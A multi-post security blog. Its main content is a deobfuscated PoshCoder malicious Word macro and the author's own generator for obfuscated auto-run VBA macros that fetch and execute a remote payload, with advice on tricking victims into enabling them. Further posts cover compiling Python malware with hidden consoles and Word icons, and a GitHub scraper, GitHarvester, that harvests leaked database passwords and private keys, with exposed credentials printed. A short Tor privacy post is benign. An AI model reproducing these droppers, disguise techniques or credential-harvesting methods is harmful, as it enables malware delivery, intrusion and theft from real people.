Lightly Obfuscating VBA Macros

Lately I have been looking into writing my own VBA macro’s for malware delivery. My goals were simple. I wanted the macro to run a specific command. I have looked at several different places and nothing really seemed to work out of the box like I was expecting so I figured I’d pull a sample or two from the samples that I see at $dayjob to see how they did it. The first place I looked was at one of my favorites families of malware, PoshCoder (VirusTotal). When I checked out the macro, I got the following

Private Sub Document_Open()
Dim GhjsxThsjduJgshdjHjsjd As String
Dggxethbvrg = "cmd /K "
QsgbhGGBBBrfgH = "po"
SxgRghnGGBbhH = "weR"
OyhbRfgbDFghT = "Sh" + "ell.e" + "x" + "e"
efhCfghhtrdHjjydxGHjh = ChrW(32) & ChrW(45) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(100) & ChrW(111) & ChrW(119) & ChrW(83) & ChrW(116)
wUUnbdeFXfjhtTGHh = ChrW(121) & ChrW(108) & ChrW(101) & ChrW(32) & ChrW(104) & ChrW(105) & ChrW(100) & ChrW(100) & ChrW(101) & ChrW(110)
WrghbjiytgCXderthGFf = ChrW(32) & ChrW(45) & ChrW(69) & ChrW(120) & ChrW(101) & ChrW(99) & ChrW(117) & ChrW(116) & ChrW(105) & ChrW(111)
QrnUTghnnFFgbFFgh = ChrW(110) & ChrW(80) & ChrW(111) & ChrW(108) & ChrW(105) & ChrW(99) & ChrW(121) & ChrW(32) & ChrW(66) & ChrW(121)
RhnVthjJHgbbCGhG = ChrW(112) & ChrW(97) & ChrW(115) & ChrW(115) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(111) & ChrW(112) & ChrW(114)
OujnbFghVDfghbFDFg = ChrW(111) & ChrW(102) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(32) & ChrW(40) & ChrW(78) & ChrW(101) & ChrW(119)
EfgbhGGhhjnFFfghgwsG = ChrW(45) & ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(83) & ChrW(121)
YjnVRthFFGhnDFH = ChrW(115) & ChrW(116) & ChrW(101) & ChrW(109) & ChrW(46) & ChrW(78) & ChrW(101) & ChrW(116) & ChrW(46) & ChrW(87)
WddfgHTTHnnvDDGFhnGGh = ChrW(101) & ChrW(98) & ChrW(67) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(41)
IUjnBFGhbdFBnVFFgbb = ChrW(46) & ChrW(68) & ChrW(111) & ChrW(119) & ChrW(110) & ChrW(108) & ChrW(111) & ChrW(97) & ChrW(100) & ChrW(70)
YjnnGGhbDFbbnbFFGbasdvDFb = ChrW(105) & ChrW(108) & ChrW(101) & ChrW(40) & ChrW(39) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58)
cxfdHHfdfbbnGFGhbffYhjjk = ChrW(47) & ChrW(47) & ChrW(100) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(116) & ChrW(111)
tyfuyfHGHgfggTGhjjjfFG = ChrW(110) & ChrW(108) & ChrW(97) & ChrW(119) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(102)
GFDFdfGHhjjGFGFGHHH = ChrW(46) & ChrW(112) & ChrW(104) & ChrW(112) & ChrW(39) & ChrW(44) & ChrW(39) & ChrW(37) & ChrW(84) & ChrW(69)
tghFghbvffDfhHHGfvFFGhg = ChrW(77) & ChrW(80) & ChrW(37) & ChrW(92) & ChrW(52) & ChrW(55) & ChrW(56) & ChrW(54) & ChrW(51) & ChrW(52)
yhGGdfbGbnojGFGnvfF = ChrW(54) & ChrW(55) & ChrW(46) & ChrW(112) & ChrW(115) & ChrW(49)
agPolknZdgnnGFGHh = ChrW(41) & ChrW(59) & ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(83) & ChrW(104) & ChrW(101)
ysghgFFGHwfh = ChrW(108) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(87) & ChrW(105)
HjjnFGHjserfgvvgGFFGhwef = ChrW(110) & ChrW(100) & ChrW(111) & ChrW(119) & ChrW(83) & ChrW(116) & ChrW(121) & ChrW(108) & ChrW(101) & ChrW(32)
iHHbbwgGGHhnfREfgbWSf = ChrW(104) & ChrW(105) & ChrW(100) & ChrW(100) & ChrW(101) & ChrW(110) & ChrW(32) & ChrW(45) & ChrW(69) & ChrW(120)
qdikmYHbbfEFGHvff = ChrW(101) & ChrW(99) & ChrW(117) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) & ChrW(80) & ChrW(111) & ChrW(108)
FDGHHFDRTGPOYHNBF = ChrW(105) & ChrW(99) & ChrW(121) & ChrW(32) & ChrW(66) & ChrW(121) & ChrW(112) & ChrW(97) & ChrW(115) & ChrW(115)
SfhjCVrhnnGGHNvdsdhTGH = ChrW(32) & ChrW(45) & ChrW(110) & ChrW(111) & ChrW(112) & ChrW(114) & ChrW(111) & ChrW(102) & ChrW(105) & ChrW(108)
fhThnsdfgWdghJUhnFFh = ChrW(101)
yjnDfghnWfghRTHHNJasdgFGH = ChrW(32) & ChrW(45) & ChrW(102) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(32) & ChrW(37) & ChrW(84) & ChrW(69)
ujnGnncghWfhhRThhHHJJJJJ = ChrW(77) & ChrW(80) & ChrW(37) & ChrW(92) & ChrW(52) & ChrW(55) & ChrW(56) & ChrW(54) & ChrW(51) & ChrW(52)
yhbxswghjDFhhThjnDFghasghR = ChrW(54) & ChrW(55) & ChrW(46) & ChrW(112) & ChrW(115) & ChrW(49)
QsfgHHnnRThbSfgbT = efhCfghhtrdHjjydxGHjh + wUUnbdeFXfjhtTGHh + WrghbjiytgCXderthGFf + QrnUTghnnFFgbFFgh + RhnVthjJHgbbCGhG + OujnbFghVDfghbFDFg + EfgbhGGhhjnFFfghgwsG + YjnVRthFFGhnDFH + WddfgHTTHnnvDDGFhnGGh + IUjnBFGhbdFBnVFFgbb + YjnnGGhbDFbbnbFFGbasdvDFb + cxfdHHfdfbbnGFGhbffYhjjk + tyfuyfHGHgfggTGhjjjfFG + GFDFdfGHhjjGFGFGHHH + tghFghbvffDfhHHGfvFFGhg + yhGGdfbGbnojGFGnvfF + agPolknZdgnnGFGHh + ysghgFFGHwfh + HjjnFGHjserfgvvgGFFGhwef + iHHbbwgGGHhnfREfgbWSf + qdikmYHbbfEFGHvff + FDGHHFDRTGPOYHNBF + SfhjCVrhnnGGHNvdsdhTGH + fhThnsdfgWdghJUhnFFh + yjnDfghnWfghRTHHNJasdgFGH + ujnGnncghWfhhRThhHHJJJJJ + yhbxswghjDFhhThjnDFghasghR
GhjsxThsjduJgshdjHjsjd = Dggxethbvrg + QsgbhGGBBBrfgH + SxgRghnGGBbhH + OyhbRfgbDFghT + QsfgHHnnRThbSfgbT
Shell GhjsxThsjduJgshdjHjsjd, 0
MsgBox ("Required rescource could not be allocated")
TghhshcHHjh = 62 * 28
End Sub

The first couple of variables are pretty self explanatory on what they are trying to do, running “cmd \k poweRShell.exe” but the rest was fairly unintelligible. After some quick work in VIM and python, I was able to deobfuscate a lot of the macro and was able to turn it into something readable.

Private Sub Document_Open()
Dim GhjsxThsjduJgshdjHjsjd As String
Dggxethbvrg = "cmd /K "
QsgbhGGBBBrfgH = "po"
SxgRghnGGBbhH = "weR"
OyhbRfgbDFghT = "Shell.exe"
efhCfghhtrdHjjydxGHjh = " -WindowSt"
wUUnbdeFXfjhtTGHh = "yle hidden"
WrghbjiytgCXderthGFf = " -Executio"
QrnUTghnnFFgbFFgh = "nPolicy By"
RhnVthjJHgbbCGhG = "pass -nopr"
OujnbFghVDfghbFDFg = "ofile (New"
EfgbhGGhhjnFFfghgwsG = "-Object Sy"
YjnVRthFFGhnDFH = "stem.Net.W"
WddfgHTTHnnvDDGFhnGGh = "ebClient)"
IUjnBFGhbdFBnVFFgbb = ".DownloadF"
YjnnGGhbDFbbnbFFGbasdvDFb = "ile('http:"
cxfdHHfdfbbnGFGhbffYhjjk = "//drshelto"
tyfuyfHGHgfggTGhjjjfFG = "nlaw.com/f"
GFDFdfGHhjjGFGFGHHH = ".php','%TE"
tghFghbvffDfhHHGfvFFGhg = "MP%\478634"
yhGGdfbGbnojGFGnvfF = "67.ps1"
agPolknZdgnnGFGHh = ");powerShe"
ysghgFFGHwfh = "ll.exe -Wi"
HjjnFGHjserfgvvgGFFGhwef = "ndowStyle "
iHHbbwgGGHhnfREfgbWSf = "hidden -Ex"
qdikmYHbbfEFGHvff = "ecutionPol"
FDGHHFDRTGPOYHNBF = "icy Bypass"
SfhjCVrhnnGGHNvdsdhTGH = " -noprofil"
fhThnsdfgWdghJUhnFFh = "e"
yjnDfghnWfghRTHHNJasdgFGH = " -file %TE"
ujnGnncghWfhhRThhHHJJJJJ = "MP%\478634"
yhbxswghjDFhhThjnDFghasghR = "67.ps1"
QsfgHHnnRThbSfgbT = efhCfghhtrdHjjydxGHjh + wUUnbdeFXfjhtTGHh + WrghbjiytgCXderthGFf + QrnUTghnnFFgbFFgh + RhnVthjJHgbbCGhG + OujnbFghVDfghbFDFg + EfgbhGGhhjnFFfghgwsG + YjnVRthFFGhnDFH + WddfgHTTHnnvDDGFhnGGh + IUjnBFGhbdFBnVFFgbb + YjnnGGhbDFbbnbFFGbasdvDFb + cxfdHHfdfbbnGFGhbffYhjjk + tyfuyfHGHgfggTGhjjjfFG + GFDFdfGHhjjGFGFGHHH + tghFghbvffDfhHHGfvFFGhg + yhGGdfbGbnojGFGnvfF + agPolknZdgnnGFGHh + ysghgFFGHwfh + HjjnFGHjserfgvvgGFFGhwef + iHHbbwgGGHhnfREfgbWSf + qdikmYHbbfEFGHvff + FDGHHFDRTGPOYHNBF + SfhjCVrhnnGGHNvdsdhTGH + fhThnsdfgWdghJUhnFFh + yjnDfghnWfghRTHHNJasdgFGH + ujnGnncghWfhhRThhHHJJJJJ + yhbxswghjDFhhThjnDFghasghR
GhjsxThsjduJgshdjHjsjd = Dggxethbvrg + QsgbhGGBBBrfgH + SxgRghnGGBbhH + OyhbRfgbDFghT + QsfgHHnnRThbSfgbT
Shell GhjsxThsjduJgshdjHjsjd, 0
MsgBox ("Required rescource could not be allocated")
TghhshcHHjh = 62 * 28
End Sub

Now we can see that it is basically just splitting a single command into tons if different randomly generated variables and then combining all of them together into the variable “GhjsxThsjduJgshdjHjsjd” and executing that command with the line “Shell GhjsxThsjduJgshdjHjsjd, 0”. After it spawns cmd and starts executing all of the powershell commands, it then pops up a message box talking about resource allocation errors, and then lastly does some math. Still, I am not sure what the purpose of “TghhshcHHjh = 62 * 28” is except to potentially throw off investigators that will not go any further than just “Welp, guess its doing some kind of math. Shut case, Watson!”

¯\_(ツ)_/¯

In order to emulate this macro style, I decided to write my own script that will generate this macro for me and can be found at https://github.com/metac0rtex/Office-Macro-Generator. It works pretty simply. All you have to do is edit the “cmd” variable at the top of the script, save, and run. Here is what it looks like for a command that uses powershell to download an executable and then run that executable.

$ ./macro_create.py
Converting this command to VBA Macro:
cmd /K powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('https://metac0rtex.com/malware/boom.exe','%TEMP%\boom.exe');powerShell.exe -WindowStyle hidden -ExecutionPolicy Bypass -noprofile Start-Process -FilePath '%TEMP%\boom.exe'

Macro:
Public Sub AutoOpen()
  Dim cmd As String
  QlEbi = ChrW(99) & ChrW(109) & ChrW(100) & ChrW(32) & ChrW(47) & ChrW(75) & ChrW(32) & ChrW(112) & ChrW(111) & ChrW(119)
  EzUlC = ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120)
  UcsQi = ChrW(101) & ChrW(32) & ChrW(45) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(100) & ChrW(111) & ChrW(119) & ChrW(83)
  ruMtX = ChrW(116) & ChrW(121) & ChrW(108) & ChrW(101) & ChrW(32) & ChrW(104) & ChrW(105) & ChrW(100) & ChrW(100) & ChrW(101)
  cYbAV = ChrW(110) & ChrW(32) & ChrW(45) & ChrW(69) & ChrW(120) & ChrW(101) & ChrW(99) & ChrW(117) & ChrW(116) & ChrW(105)
  gSzTn = ChrW(111) & ChrW(110) & ChrW(80) & ChrW(111) & ChrW(108) & ChrW(105) & ChrW(99) & ChrW(121) & ChrW(32) & ChrW(66)
  XMPaT = ChrW(121) & ChrW(112) & ChrW(97) & ChrW(115) & ChrW(115) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(111) & ChrW(112)
  Ttzgl = ChrW(114) & ChrW(111) & ChrW(102) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(32) & ChrW(40) & ChrW(78) & ChrW(101)
  KTUrB = ChrW(119) & ChrW(45) & ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(83)
  nxpdB = ChrW(121) & ChrW(115) & ChrW(116) & ChrW(101) & ChrW(109) & ChrW(46) & ChrW(78) & ChrW(101) & ChrW(116) & ChrW(46)
  fxGbk = ChrW(87) & ChrW(101) & ChrW(98) & ChrW(67) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(41)
  QbaQu = ChrW(46) & ChrW(68) & ChrW(111) & ChrW(119) & ChrW(110) & ChrW(108) & ChrW(111) & ChrW(97) & ChrW(100) & ChrW(70)
  mfjCp = ChrW(105) & ChrW(108) & ChrW(101) & ChrW(40) & ChrW(39) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(115)
  bNYHb = ChrW(58) & ChrW(47) & ChrW(47) & ChrW(109) & ChrW(101) & ChrW(116) & ChrW(97) & ChrW(99) & ChrW(48) & ChrW(114)
  rKNZW = ChrW(116) & ChrW(101) & ChrW(120) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(109) & ChrW(97)
  OobQL = ChrW(108) & ChrW(119) & ChrW(97) & ChrW(114) & ChrW(101) & ChrW(47) & ChrW(98) & ChrW(111) & ChrW(111) & ChrW(109)
  CQnzT = ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(39) & ChrW(44) & ChrW(39) & ChrW(37) & ChrW(84) & ChrW(69)
  FSZVL = ChrW(77) & ChrW(80) & ChrW(37) & ChrW(92) & ChrW(98) & ChrW(111) & ChrW(111) & ChrW(109) & ChrW(46) & ChrW(101)
  MHwMC = ChrW(120) & ChrW(101) & ChrW(39) & ChrW(41) & ChrW(59) & ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114)
  uVzxB = ChrW(83) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32)
  ZInFM = ChrW(45) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(100) & ChrW(111) & ChrW(119) & ChrW(83) & ChrW(116) & ChrW(121)
  ZTRoJ = ChrW(108) & ChrW(101) & ChrW(32) & ChrW(104) & ChrW(105) & ChrW(100) & ChrW(100) & ChrW(101) & ChrW(110) & ChrW(32)
  eOptC = ChrW(45) & ChrW(69) & ChrW(120) & ChrW(101) & ChrW(99) & ChrW(117) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110)
  oKpDu = ChrW(80) & ChrW(111) & ChrW(108) & ChrW(105) & ChrW(99) & ChrW(121) & ChrW(32) & ChrW(66) & ChrW(121) & ChrW(112)
  xyEBZ = ChrW(97) & ChrW(115) & ChrW(115) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(111) & ChrW(112) & ChrW(114) & ChrW(111)
  rPCeA = ChrW(102) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(32) & ChrW(83) & ChrW(116) & ChrW(97) & ChrW(114) & ChrW(116)
  GTLkv = ChrW(45) & ChrW(80) & ChrW(114) & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(32) & ChrW(45)
  YLQSd = ChrW(70) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(80) & ChrW(97) & ChrW(116) & ChrW(104) & ChrW(32) & ChrW(39)
  KLfiC = ChrW(37) & ChrW(84) & ChrW(69) & ChrW(77) & ChrW(80) & ChrW(37) & ChrW(92) & ChrW(98) & ChrW(111) & ChrW(111)
  amqWg = ChrW(109) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(39)
  cmd = QlEbi & EzUlC & UcsQi & ruMtX & cYbAV & gSzTn & XMPaT & Ttzgl & KTUrB & nxpdB & fxGbk & QbaQu & mfjCp & bNYHb & rKNZW & OobQL & CQnzT & FSZVL & MHwMC & uVzxB & ZInFM & ZTRoJ & eOptC & oKpDu & xyEBZ & rPCeA & GTLkv & YLQSd & KLfiC & amqWg
  Dim Obj as Object
  Set Obj = CreateObject("WScript.Shell")
  Obj.Run cmd, 0
  MsgBox ("Required rescource could not be allocated")
End Sub

Pretty neat and it works pretty well. Once you paste that macro into the Office VBA editor and save it, next time you open the document and get a victem to enable the macro (with your favorite SE teqnique) then it will automatically download the executable and execute it. Hurra!

Compiling Python Using pyinstaller

I have recently been experimenting how easy it would be to write custom malware. I started doing a decent amount of digging around and really came to the conclusion that to be fully efficient at it, I would need to learn C/C++. My initial and current opinion on that matter is “Fuck that”. I don’t have time to learn that so I started trying to get a good inventory of leaked source code or even (gasp) open source malware and this is when I stumbled onto the hiddentear project. After seeing that hiddentear was written in C# and at the time, that seemed really reasonable to learn.

After spending hours on C#, I was able to write a custom dropper that worked really well but it was clear that I was still way out of my depth. Not feeling deterred, I decided to start looking into compiling python since Python is my standard go-to in all situations and because that makes sense here…right? “Why the fuck not?”

I found several different ways in doing it but after playing with all of them briefly, I settled on pyinstaller mainly because it was the first one that I could get working properly.

If you run pyinstaller without any options, you will see the following output

$ pyinstaller 
usage: pyinstaller [-h] [-v] [-D] [-F] [--specpath DIR] [-n NAME] [-p DIR]
                   [--hidden-import MODULENAME]
                   [--additional-hooks-dir HOOKSPATH]
                   [--runtime-hook RUNTIME_HOOKS] [--exclude-module EXCLUDES]
                   [--key KEY] [-d] [-s] [--noupx] [-c] [-w]
                   [-i ]
                   [--version-file FILE] [-m ] [-r RESOURCE]
                   [--uac-admin] [--uac-uiaccess] [--win-private-assemblies]
                   [--win-no-prefer-redirects]
                   [--osx-bundle-identifier BUNDLE_IDENTIFIER]
                   [--distpath DIR] [--workpath WORKPATH] [-y]
                   [--upx-dir UPX_DIR] [-a] [--clean] [--log-level LEVEL]
                   [--upx UPX]
                   scriptname [scriptname ...]
pyinstaller: error: too few arguments

This gives us a nice overview of a lot of the flags but the flags that I want to focus on (some arn’t listed here but in the documentation) are the following:

  • --onefile – This flag statically links the python shared library with the executable. Without this flag, the executable will not work without the accompanied shared object (.dll in windows case or .so for linux).
  • --noconsole – This flag disables a console window from popping up when the executable is launched. Use this for stealthy execution.
  • --icon – Sets the executable icon. I tend to like Microsoft Word icons for this

Lets play with this a little. Lets say we have a script with the following imports

#!/usr/bin/env python

import base64
from Crypto.Cipher import AES
from Crypto import Random
from hashlib import sha256

When we compile it with pyinstaller, pyinstaller will create two directories and a file.

  • build – This directory contains everything that goes into compiling the executable.
  • dist – This directory contains the built executable
  • .spec file – This is a config file that is read during the build process. Everything in here can be overwritten by using a cli flag.

When we build the executable for the first time we are going to want to check the ‘build//warn.txt’ file as this will give us a list of missing modules that pyinstaller ran into during the build process. I have noticed that even with a simple script that does nothing but print “Hello World”, I get 123 missing modules in the warn file so it is fine to have plenty of those. When I attempt to compile the script listed above with the command “pyinstaller –onefile –noconsole –icon=word.ico project.py”, I get the following missing modules:

...
missing module named hashlib.sha256 - imported by hashlib, /home/metacortex/project.py
missing module named _hashlib.pbkdf2_hmac - imported by _hashlib, hashlib
missing module named Crypto.Random - imported by Crypto, /home/metacortex/project.py
missing module named Crypto.AES - imported by Crypto, /home/metacortex/project.py
missing module named Crypto - imported by /home/metacortex/project.py

Anywhere that we see a missing module imported by our script, we know that that module hasn’t been installed. Once we get those installed (via whatever package management system you prefer) and we try compiling it again, we get the following output in the warn file:

missing module named hashlib.sha256 - imported by hashlib, Z:\media\sf_Research\Mandarin\whiplash\encrypt\test\whiplash-encrypt.py
missing module named _hashlib.pbkdf2_hmac - imported by _hashlib, hashlib
missing module named Crypto.Util.number.exact_log2 - imported by Crypto.Util.number, Crypto.Random.Fortuna.FortunaGenerator
missing module named Crypto.Util.number.ceil_shift - imported by Crypto.Util.number, Crypto.Random.Fortuna.FortunaGenerator
missing module named Crypto.Util.number.exact_div - imported by Crypto.Util.number, Crypto.Random.Fortuna.FortunaGenerator
missing module named Crypto.Util.number.bytes_to_long - imported by Crypto.Util.number, Crypto.Random.random
missing module named Crypto.Util.number.long_to_bytes - imported by Crypto.Util.number, Crypto.Random.random
missing module named Crypto.Util.number.size - imported by Crypto.Util.number, Crypto.Random.random
missing module named Crypto.PublicKey._fastmath - imported by Crypto.PublicKey, Crypto.Util.number

Sweet, so there isn’t any missing modules imported by our script! Now, the executable that is located in dist/ should be fully functioning and ready to go.

Note on compiling for Windows on Linux:
If you are trying to compile windows binaries on Linux, pyinstaller works amazing via Wine. The biggest pain in the ass here is making sure you have all of the python packages installed as they can be scattered and hard to track down at times.

Types of privacy in todays age

I got this question posed to me the other day:

Outside of my own Tor usage habits, this is fairly large question and I felt it would be better to address it in a blog post as opposed to multiple 140 character segments.

When shouldn’t you use Tor? Well, it really depends on what you are trying to accomplish. The way I see it, there are three types of privacy you can have.

  1. Content privacy
  2. Location (ip based) privacy
  3. Identity privacy

All three are separate and legitimate use cases. Let’s take a look at all of them.

If you are looking for content based privacy, you are probably looking to access resources that are either blocked or will raise flags on a hostile network. This is applicable for any networks you also transverse in order to reach the content. The example that first comes to mind is China. For a reference on services China blocks, check out This Wikipedia Article. ****If you are in China and looking to access Facebook*****

Location based privacy, or IP based privacy, is for when you need the destination service to ***not know*** your current public IP address. This is best for when a service looks at the source IP address and either modifies or denies access to content based on that IP address. You can see this implemented at Youtube:

youtube-not-available-in-your

Finally, there is identity privacy. Identity privacy both inherits its strength and depends on the previous two. A good example of this is that would be if you have two different Facebook profiles but do not want them to be associated with each other. Let’s say you log off from account A and then log into account B from within the same browser and location. Those two accounts can now be linked by certain browser fingerprints (i.e. user agent, plugins, and plugin versions) and source IP address. If both accounts display the same user agent, plugin details, and source IP then chances are very high that they belong to the same person or the two are in close contact. As you can see, a failure in content or location privacy can lead to a compromised identity.

Even though there are additional things you can do to further your privacy, Tor addresses all 3 of these reasonably well. Everything from the Tor entry (be it the Tor Browser or a Tor daemon) is encrypted from entry point to exit node. Keep in mind that does not count if you are running an encrypted protocol on top of that (i.e. TLS). Doing that can take care of your content privacy between you and the destination service. The most popular publicized features of Tor is the fact that it anonymously proxies connections between the guard relay, middle relay, and exit relays giving you locational privacy. Here is a awesome graphic that demonstrates Tor’s functionality:

Tor-onion-network

Now if we look at the previous situation with multiple Facebook accounts, there are several ways that you can do in addition to firing up the Tor browser and going about your business. If you are trying to keep any two identities separate then fire up two separate instances of the Tor Browser or Tor daemon. This means that you are establishing 2 separate Tor circuits and have a totally different set of guard, middle, and exit relays. In the case of using the Tor daemon then point two different browsers at each open socket. If you keep the two identities in two separate browsers (or even better…two separate physical systems) then you no longer have to worry about any kind of malicious JavaScript or browser exploit that could expose the contents of another tab, cookies, or history of the browser to someone you did not intend on.

When should you NOT use Tor? If you know what you are doing with it and take some steps like I have described above then the answer is never. The keys is to operate under the assumption that anything currently open in the browser can see anything that browser has to offer. If more people start using Tor for every day activities then it makes it harder for anyone to tag Tor users as suspicious.

Retrieving thrice as many GitHub results

In my previous post introducing my tool GitHarvester, I noted that GitHub would only return up to 1000 results. After looking at GitHub a little further, I discovered that GitHub had an option to sort the results.

GitHub sorting options

As seen in the screenshot, rom within the sorting options GitHub gives you ‘Best match’, ‘Recently indexed’, and ‘Least recently indexed’. I haven’t run any kind of tests to see any kind of overlapping results when sorting by ‘Best match’ but you could potentially retrieve 3000 results from GitHub by using all three sorting options for a particular search.

I went ahead and updated GitHarvest to include the flag ‘-o’ that lets you set what ordering you want to use in your search.

$ ./githarvest.py -h

  _____ _ _     _    _                           _
 / ____(_) |   | |  | |                         | |
| |  __ _| |_  | |__| | __ _ _ ____   _____  ___| |_ ___ _ __
| | |_ | | __| |  __  |/ _` | '__\ \ / / _ \/ __| __/ _ \ '__|
| |__| | | |_  | |  | | (_| | |   \ V /  __/\__ \ ||  __/ |
 \_____|_|\__| |_|  |_|\__,_|_|    \_/ \___||___/\__\___|_|

Version 0.7.1
By: @metacortex of @dc801

usage: githarvest.py [-h] [-d DIRECTORY] [-o ORGANIZE] [-r CUSTOM_REGEX]
                     [-s CUSTOM_SEARCH] [-u] [-v] [-w WRITE_FILE]

This tool is used for harvesting information from GitHub. By default it looks
for code with the filename of 'wp-config.php' and pulls out auth info

optional arguments:
  -h, --help        show this help message and exit
  -d DIRECTORY      Download results to a specific directory
  -o ORGANIZE       Organize results by 'new', 'old', 'best', or 'all'
  -r CUSTOM_REGEX   Custom regex string
  -s CUSTOM_SEARCH  Custom GitHub search string
  -u, --url         Output URL of found object
  -v, --verbose     Turn verbose output on. This will output matched lines
  -w WRITE_FILE     Write results to a file

As you can see using the ‘-h’ option, you can use four different options with the new ‘-o’ flag. They are pretty self explanatory while the ‘all’ option will sort results by all 3 of the options GitHub gives us. If you are looking to harvest the max amount of results, use ‘all’. The ‘-o’ flag will default to ‘best’ in line with GitHubs default behavior.

Introducing GitHarvester

A couple weeks ago, I saw a tweet that @m8urnett made talking about how 180 million passwords were exposed on GitHub due to people uploading there wordpress configs. My immediate thought was that someone should be scraping those.


So I did.

./githarvest.py -h

  _____ _ _     _    _                           _
 / ____(_) |   | |  | |                         | |
| |  __ _| |_  | |__| | __ _ _ ____   _____  ___| |_ ___ _ __
| | |_ | | __| |  __  |/ _` | '__\ \ / / _ \/ __| __/ _ \ '__|
| |__| | | |_  | |  | | (_| | |   \ V /  __/\__ \ ||  __/ |
 \_____|_|\__| |_|  |_|\__,_|_|    \_/ \___||___/\__\___|_|

Version 0.6.3
By: @metacortex of @dc801

usage: githarvest.py [-h] [-d DIRECTORY] [-r CUSTOM_REGEX] [-s CUSTOM_SEARCH]
                     [-u] [-v] [-w WRITE_FILE]

This tool is used for harvesting information from GitHub. By default it looks
for code with the filename of 'wp-config.php' and pulls out auth info

optional arguments:
  -h, --help        show this help message and exit
  -d DIRECTORY      Download results to a specific directory
  -r CUSTOM_REGEX   Custom regex string
  -s CUSTOM_SEARCH  Custom GitHub search string
  -u, --url         Output URL of found object
  -v, --verbose     Turn verbose output on. This will output matched lines
  -w WRITE_FILE     Write results to a file

GitHarvester by default will search for the filename “wp-config.php” and then parse out the database connection information like so

$ ./githarvest.py

  _____ _ _     _    _                           _
 / ____(_) |   | |  | |                         | |
| |  __ _| |_  | |__| | __ _ _ ____   _____  ___| |_ ___ _ __
| | |_ | | __| |  __  |/ _` | '__\ \ / / _ \/ __| __/ _ \ '__|
| |__| | | |_  | |  | | (_| | |   \ V /  __/\__ \ ||  __/ |
 \_____|_|\__| |_|  |_|\__,_|_|    \_/ \___||___/\__\___|_|

Version 0.6.3
By: @metacortex of @dc801

[+] Using default search
[+] Using default regex
[+] Searching Github for filename:wp-config.php
  [+] Returned 100 total pages
    [+] Pulling results from page 1
      [+] Found the following credentials
        database: project515
        user: project515
        password: JasxkvpY72KKCdttdBqt
        host: localhost
      [+] Found the following credentials
        database: centrix.kz
        user: root
        password: hizz0u
        host: localhost
^C[!] Keyboard Interrupt. Shutting down

As you can see, we were able to pull out database credentials for two config files before I killed it. This is pretty awesome but the real power of this tools is the “-s” and “-r” flags. Using “-s” allows you to run custom searches on GitHub and “-r” allows you to run custom regex on those searches. This means that you can use it to harvest anything you want from GitHub. Lets go through some examples of using these flags.

People don’t always commit their strait up WordPress installs to GitHub, sometimes the commit backups of their WordPress installs. If we do not specify a specific regex with “-r” then, it will push all the results through the wp-config parsing funciton. This allows us to search GitHub for things like “filename:wp-config.bak” to find their backup configs.

$ ./githarvest.py -v -s "filename:wp-config.bak"

  _____ _ _     _    _                           _
 / ____(_) |   | |  | |                         | |
| |  __ _| |_  | |__| | __ _ _ ____   _____  ___| |_ ___ _ __
| | |_ | | __| |  __  |/ _` | '__\ \ / / _ \/ __| __/ _ \ '__|
| |__| | | |_  | |  | | (_| | |   \ V /  __/\__ \ ||  __/ |
 \_____|_|\__| |_|  |_|\__,_|_|    \_/ \___||___/\__\___|_|

Version 0.6.3
By: @metacortex of @dc801

[+] Custom search is: filename:wp-config.bak
[+] Using default regex
[+] Searching Github for filename:wp-config.bak
  [+] Returned 100 total pages
    [+] Pulling results from page 1
      [+] Found the following credentials
        database: baph
        user: root
        password: fr1ck0ff
        host: localhost
      [+] Found the following credentials
        database: bWAPP
        user: thor
        password: sgard
        host: localhost
^C[!] Keyboard Interrupt. Shutting down

Lets get a little more evil and look for something other than WordPress config files. Do you think that people commit RSA private keys to GitHub? Absolutely they do!

$ ./githarvest.py -v -s "filename:id_rsa" -r ".*PRIVATE\sKEY.*"

  _____ _ _     _    _                           _
 / ____(_) |   | |  | |                         | |
| |  __ _| |_  | |__| | __ _ _ ____   _____  ___| |_ ___ _ __
| | |_ | | __| |  __  |/ _` | '__\ \ / / _ \/ __| __/ _ \ '__|
| |__| | | |_  | |  | | (_| | |   \ V /  __/\__ \ ||  __/ |
 \_____|_|\__| |_|  |_|\__,_|_|    \_/ \___||___/\__\___|_|

Version 0.6.3
By: @metacortex of @dc801

[+] Custom search is: filename:id_rsa
